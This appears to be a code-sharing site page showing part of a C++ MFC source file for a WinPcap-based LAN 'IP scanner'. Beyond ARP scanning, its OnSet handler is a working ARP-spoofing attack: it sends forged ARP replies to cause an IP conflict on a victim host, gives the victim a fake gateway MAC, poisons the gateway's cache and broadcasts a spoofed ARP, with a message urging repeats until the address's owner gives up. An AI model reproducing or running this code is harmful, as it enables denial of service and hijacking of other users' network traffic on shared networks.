⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ipscandlg.cpp

📁 IPScan 这是一段简单的IP扫描代码
💻 CPP
📖 第 1 页 / 共 2 页
字号:
    while (pmSend.bContinue)
    {
		if (PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
        {
            if (GetLastError() == 6)
                return 1;
			AfxMessageBox(_T("PacketReceivePacket error!"), MB_ICONSTOP);
			return 1;
        }
		if (ProcessPacket(lppacketr))		// 接收到一个ARP-REPLY
			dwRecvRecent = GetTickCount();
		else
		{
			if (GetTickCount() - dwRecvRecent > 1000)
				break;
		}
	}
	PacketFreePacket(lppacketr);
	PacketCloseAdapter(lpadapter);
	SendMessage(AfxGetMainWnd()->GetSafeHwnd(), WM_ENDSEARCH, NULL, NULL);
	return 0;
}

void CIPScanDlg::OnSearch() 
{
	GetDlgItem(IDC_PROMPT)->SetWindowText(_T("正在搜索..."));

	// 通过本地IP和掩码计算IP段
	UpdateData(TRUE);
	char  aBuffer[16];
#ifdef _UNICODE
	WCHAR wBuffer[16];
	lstrcpy(wBuffer, LPCTSTR(m_strMyIP));
	WideCharToANSI(aBuffer, wBuffer);
	ULONG ulMyIP = inet_addr(aBuffer);
	lstrcpy(wBuffer, LPCTSTR(m_strMask));
	WideCharToANSI(aBuffer, wBuffer);
	ULONG ulMask = inet_addr(aBuffer);
#else
	lstrcpy(aBuffer, LPCTSTR(m_strMyIP));
	ULONG ulMyIP = inet_addr(aBuffer);
	lstrcpy(aBuffer, LPCTSTR(m_strMask));
	ULONG ulMask = inet_addr(aBuffer);
#endif
		
	pmSend.ulStartIP = (ulMyIP & ulMask) + 0x01000000;
	pmSend.ulEndIP = ulMyIP | ~ulMask;
	pmSend.ulMyIP = ulMyIP;
	pmSend.bContinue = TRUE;
	if (pmSend.pStatus)
	{
		delete[] pmSend.pStatus;
		pmSend.pStatus = NULL;
	}
	
	// 填充列表控件
	iHostCount = 0;
	m_lcIPList.DeleteAllItems();
	for (ULONG ul = pmSend.ulStartIP; ul != pmSend.ulEndIP; ul += 0x01000000, iHostCount++)
	{
#ifdef _UNICODE
		ULToString(wBuffer, &ul);
		m_lcIPList.InsertItem(iHostCount, wBuffer);
#else
		ULToString(aBuffer, &ul);
		m_lcIPList.InsertItem(iHostCount, aBuffer);
#endif
		if (ul == pmSend.ulMyIP)
		{
 			TCHAR	szMyMac[18];
			_stprintf(szMyMac, _T("%.2x-%.2x-%.2x-%.2x-%.2x-%.2x"),
				MACAddress[0],
				MACAddress[1],
				MACAddress[2],
				MACAddress[3],
				MACAddress[4],
				MACAddress[5]);
			m_lcIPList.SetItemText(iHostCount, 1, szMyMac);
			m_lcIPList.SetItemText(iHostCount, 2, _T("本机地址"));
		}
		else
			m_lcIPList.SetItemText(iHostCount, 2, _T("无应答"));
	}
	pmSend.pStatus = new int[iHostCount];
	memset(pmSend.pStatus, 0, sizeof(int) * iHostCount);
	pmSend.pStatus[ntohl(pmSend.ulMyIP) - ntohl(pmSend.ulStartIP)] = 1;
	// 启动搜索线程
	_beginthreadex(NULL, 0, SearchIP, NULL, 0, NULL);
	// 启动收包线程
	_beginthreadex(NULL, 0, PackRecv, NULL, 0, NULL);
}


void CIPScanDlg::GetNetInfo()
{
	//////////////////////////////////////////////////////////////////////////
	//              得到网卡的MAC地址、网关地址和子网掩码                   //
	//////////////////////////////////////////////////////////////////////////
	LPADAPTER	lpAdapter = 0;
	int			iOpen = ((CIPScanApp *)AfxGetApp())->iOpen;
	PPACKET_OID_DATA	OidData;
	npf_if_addr	ipbuff;
	LONG		npflen = sizeof(ipbuff);

	lpAdapter = PacketOpenAdapter((TCHAR *)(AdapterList[iOpen]));
	if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
	{
		MessageBox(_T("Unable to open the adapter!"), _T("Error"), MB_ICONSTOP);
		return;
	}
	
	OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
	if (OidData == NULL) 
	{
		MessageBox(_T("Error allocating memory!"), _T("Error"), MB_ICONSTOP);
		PacketCloseAdapter(lpAdapter);
		return;
	}

	OidData->Oid = OID_802_3_CURRENT_ADDRESS;
	OidData->Length = 6;
	ZeroMemory(OidData->Data, 6);
	
	BOOL Status = PacketRequest(lpAdapter, FALSE, OidData);
	if (Status)
	{
		memcpy((void *)MACAddress, OidData->Data, 6);
	}
	else
	{
		MessageBox(_T("Error retrieving the MAC address of the adapter!"), _T("Error"), MB_ICONSTOP);
	}
	free(OidData);
	PacketCloseAdapter(lpAdapter);

	if (PacketGetNetInfoEx((TCHAR *)(AdapterList[iOpen]),&ipbuff,&npflen))
    {
		m_strMyIP = inet_ntoa(((struct sockaddr_in *)&(ipbuff.IPAddress))->sin_addr);
		m_strMask = inet_ntoa(((struct sockaddr_in *)&(ipbuff.SubnetMask))->sin_addr);
		UpdateData(FALSE);
	}
}

LRESULT CIPScanDlg::OnRefresh(WPARAM wParam,LPARAM lParam)
{
	PPARARFR pRFR = (PPARARFR)lParam;
	m_lcIPList.SetItemText(pRFR->iIndex, 1, pRFR->sMac);
	m_lcIPList.SetItemText(pRFR->iIndex, 2, _T("被占用"));
	return LRESULT(0);
}

LRESULT CIPScanDlg::OnEndSearch(WPARAM wParam,LPARAM lParam)
{
	// 统计搜索结果
	pmSend.bContinue = FALSE;
	int iActive = 0;
	for (int i = 0; i < iHostCount; i++)
	{
		if (pmSend.pStatus[i] == 1)
			iActive++;
	}
	CString strPrompt;
	strPrompt.Format(_T("找到%d个活动主机,还有%d个主机无应答"), iActive, iHostCount - iActive);
	GetDlgItem(IDC_PROMPT)->SetWindowText(strPrompt);
	return LRESULT(0);
}

void CIPScanDlg::OnSet() 
{
	ULONG	ulSelectedIP = pmSend.ulStartIP + 0x01000000 * iCurSel;
	int		iOpen = ((CIPScanApp *)AfxGetApp())->iOpen;
	if (ulSelectedIP == pmSend.ulMyIP)
	{
		MessageBox(_T("选择的IP地址与本地主机重复,请重新选择"), _T("错误"), MB_ICONSTOP);
		return;
	}
	if (!pmSend.pStatus[iCurSel])
	{
		// 用户选择的IP地址是空闲的
		SetLocalIP(AdapterList[iOpen], ulSelectedIP, ~((pmSend.ulStartIP - 0x01000000) ^ pmSend.ulEndIP));
		TCHAR	szIP[17];
		ULToString(szIP, &ulSelectedIP);
		CString strMsg = lstrcat(_T("已经成功将本地IP设置为"), szIP);
		MessageBox(strMsg, _T("恭喜恭喜"), MB_ICONINFORMATION);
		// 更新编辑框
		m_strMyIP = szIP;
		UpdateData(FALSE);
		return;
	}
	else
	{
		// 用户选择的IP已经被占据,需要抢IP
		// 取得MAC地址
		TCHAR	szMac[18];
		UCHAR	ucDstMac[6];
		m_lcIPList.GetItemText(iCurSel, 1, szMac, sizeof(szMac));
		GetMacFromString(ucDstMac, szMac);
		
		ETHDR		eth;
		ARPHDR		arp;
		char		sendbuf[42];
		LPADAPTER	lpadapter = 0;
		LPPACKET	lppackets = 0;
		int			iOpen = ((CIPScanApp *)AfxGetApp())->iOpen;
		lpadapter = PacketOpenAdapter((TCHAR *)(AdapterList[iOpen]));
		if ((lppackets=PacketAllocatePacket()) == FALSE)
		{
			AfxMessageBox(_T("PacketAllocatePacket error!"), MB_ICONSTOP);
			return;
		}
		
		// 向目标主机发送IP冲突数据包
		// 初始化帧头部
		memcpy(eth.eh_dst, ucDstMac, 6);
		memcpy(eth.eh_src, MACAddress, 6);
		eth.eh_type = htons(ETH_ARP);
		// 填充即将发送的ARP包体
		arp.arp_hdr=htons(ARP_HARDWARE);
		arp.arp_pro=htons(ETH_IP);
		arp.arp_hln=6;
		arp.arp_pln=4;
		arp.arp_opt=htons(ARP_REPLY);
		memcpy(arp.arp_sha, eth.eh_src, 6);			// 发送端物理地址
		arp.arp_spa = ulSelectedIP;					// 发送端IP地址
		memcpy(arp.arp_tha, eth.eh_dst, 6);			// 目的端物理地址
		arp.arp_tpa = ulSelectedIP;					// 目的端IP地址
		memcpy(sendbuf, &eth, sizeof(eth));
		memcpy(sendbuf + sizeof(eth), &arp, sizeof(arp));
		// 发送arp包
		PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
		if (PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
		{
			AfxMessageBox(_T("PacketSendPacket error!"), MB_ICONSTOP);
			return;
		}

		// 向目标主机发送假的网关地址
		// 初始化帧头部
		memcpy(eth.eh_dst, ucDstMac, 6);
		ucDstMac[5] -= 1;
		memcpy(eth.eh_src, ucDstMac, 6);
		eth.eh_type = htons(ETH_ARP);
		// 填充即将发送的ARP包体
		arp.arp_hdr=htons(ARP_HARDWARE);
		arp.arp_pro=htons(ETH_IP);
		arp.arp_hln=6;
		arp.arp_pln=4;
		arp.arp_opt=htons(ARP_REPLY);
		memcpy(arp.arp_sha, eth.eh_src, 6);			// 发送端物理地址
		arp.arp_spa = pmSend.ulEndIP - 0x01000000;	// 发送端IP地址
		memcpy(arp.arp_tha, eth.eh_dst, 6);			// 目的端物理地址
		arp.arp_tpa = ulSelectedIP;					// 目的端IP地址
		memcpy(sendbuf, &eth, sizeof(eth));
		memcpy(sendbuf + sizeof(eth), &arp, sizeof(arp));
		// 发送arp包
		PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
		if (PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
		{
			AfxMessageBox(_T("PacketSendPacket error!"), MB_ICONSTOP);
			return;
		}

		// 向网关发送我要抢的IP地址和我的MAC地址
		// 得到网关的MAC地址
		m_lcIPList.GetItemText(iHostCount - 1, 1, szMac, sizeof(szMac));
		GetMacFromString(ucDstMac, szMac);
		// 初始化帧头部
		memcpy(eth.eh_dst, ucDstMac, 6);
		memcpy(eth.eh_src, MACAddress, 6);
		eth.eh_type = htons(ETH_ARP);
		// 填充即将发送的ARP包体
		arp.arp_hdr=htons(ARP_HARDWARE);
		arp.arp_pro=htons(ETH_IP);
		arp.arp_hln=6;
		arp.arp_pln=4;
		arp.arp_opt=htons(ARP_REPLY);
		memcpy(arp.arp_sha, eth.eh_src, 6);			// 发送端物理地址
		arp.arp_spa = ulSelectedIP;					// 发送端IP地址
		memcpy(arp.arp_tha, eth.eh_dst, 6);			// 目的端物理地址
		arp.arp_tpa = pmSend.ulEndIP - 0x01000000;	// 目的端IP地址
		memcpy(sendbuf, &eth, sizeof(eth));
		memcpy(sendbuf + sizeof(eth), &arp, sizeof(arp));
		// 发送arp包
		PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
		if (PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
		{
			AfxMessageBox(_T("PacketSendPacket error!"), MB_ICONSTOP);
			return;
		}
		
		// 广播一个数据包,更新局域网内的所有缓存
		// 初始化帧头部
		memset(eth.eh_dst, 0xFF, 6);
		memcpy(eth.eh_src, MACAddress, 6);
		eth.eh_type = htons(ETH_ARP);
		// 填充即将发送的ARP包体
		arp.arp_hdr=htons(ARP_HARDWARE);
		arp.arp_pro=htons(ETH_IP);
		arp.arp_hln=6;
		arp.arp_pln=4;
		arp.arp_opt=htons(ARP_REQUEST);
		memcpy(arp.arp_sha, MACAddress, 6);
		arp.arp_spa = ulSelectedIP;
		memset(arp.arp_tha, 0xFF, 6);
		arp.arp_tpa = pmSend.ulEndIP;
		memcpy(sendbuf, &eth, sizeof(eth));
		memcpy(sendbuf + sizeof(eth), &arp, sizeof(arp));
		// 发送arp包
		PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
		if (PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
		{
			AfxMessageBox(_T("PacketSendPacket error!"), MB_ICONSTOP);
			return;             
		}
		PacketFreePacket(lppackets);
		PacketCloseAdapter(lpadapter);
		MessageBox(_T("请不断重复搜索、设置该IP为本机IP地址直到该IP的拥有者放弃为止^_^"), _T("提示"), MB_ICONINFORMATION);
	}
}

void CIPScanDlg::OnClickIPlist(NMHDR* pNMHDR, LRESULT* pResult) 
{
	iCurSel = m_lcIPList.GetNextItem(-1, LVNI_SELECTED);	
	if (iCurSel != -1)
		GetDlgItem(IDC_SET)->EnableWindow(TRUE);
	*pResult = 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -